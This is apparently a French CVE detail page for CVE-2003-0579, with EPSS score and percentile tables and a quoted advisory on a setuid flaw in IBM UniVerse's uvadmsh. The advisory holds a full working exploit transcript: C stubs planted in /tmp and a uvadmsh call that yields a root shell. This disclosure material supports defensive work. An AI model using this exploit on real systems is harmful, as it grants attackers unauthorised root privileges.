CVE-2003-0579 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.76%	–	–
2022-03-27	–	–	1.76%	–	–
2022-04-03	–	–	1.76%	–	–
2022-04-17	–	–	1.76%	–	–
2022-08-28	–	–	1.76%	–	–
2023-03-05	–	–	1.76%	–	–
2023-03-12	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.28%
2025-03-30	–	–	–	–	0.28%
2025-04-15	–	–	–	–	0.28%
2025-06-01	–	–	–	–	0.28%
2025-06-04	–	–	–	–	0.28%
2025-06-04	–	–	–	–	0.28,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	54%
2022-03-27	55%
2022-04-03	74%
2022-04-17	75%
2022-08-28	76%
2023-03-05	77%
2023-03-12	–
2024-06-02	–
2025-01-19	–
2025-03-18	5%
2025-03-30	49%
2025-04-15	51%
2025-06-01	52%
2025-06-04	51%
2025-06-04	51%

source: https://www.securityfocus.com/bid/8203/info A vulnerability has been reported in the IBM U2 UniVerse uvadmsh program that could permit the uvadm user to execute arbitrary code with elevated privileges. The -uv.install option of the vulnerable program allows a user to specify an arbitrary path to a file. In cases where uvadmsh is installed setuid root, this could be abused to run an executable file of the attacker's choosing. While this vulnerability was reported in UniVerse version 10.0.0.9, previous versions are likely vulnerable as well. [uvadm@vegeta uvadm]$ cat > /tmp/uv.install.c main() { setuid(0); system("cc -o /tmp/owned /tmp/owned.c"); system("chmod 4755 /tmp/owned"); } [uvadm@vegeta uvadm]$ cc -o /tmp/uv.install /tmp/uv.install.c [uvadm@vegeta uvadm]$ cat > /tmp/owned.c main() { setuid(0); system("/bin/bash"); } [uvadm@vegeta uvadm]$ ls -al /tmp/owned ls: /tmp/owned: No such file or directory [uvadm@vegeta uvadm]$ /usr/ibm/uv/bin/uvadmsh -uv.install /tmp [uvadm@vegeta uvadm]$ ls -al /tmp/owned -rwsr-xr-x 1 root uvadm 11640 Jul 2 20:15 /tmp/owned [uvadm@vegeta uvadm]$ /tmp/owned [root@vegeta uvadm]# id uid=0(root) gid=503(uvadm) groups=503(uvadm)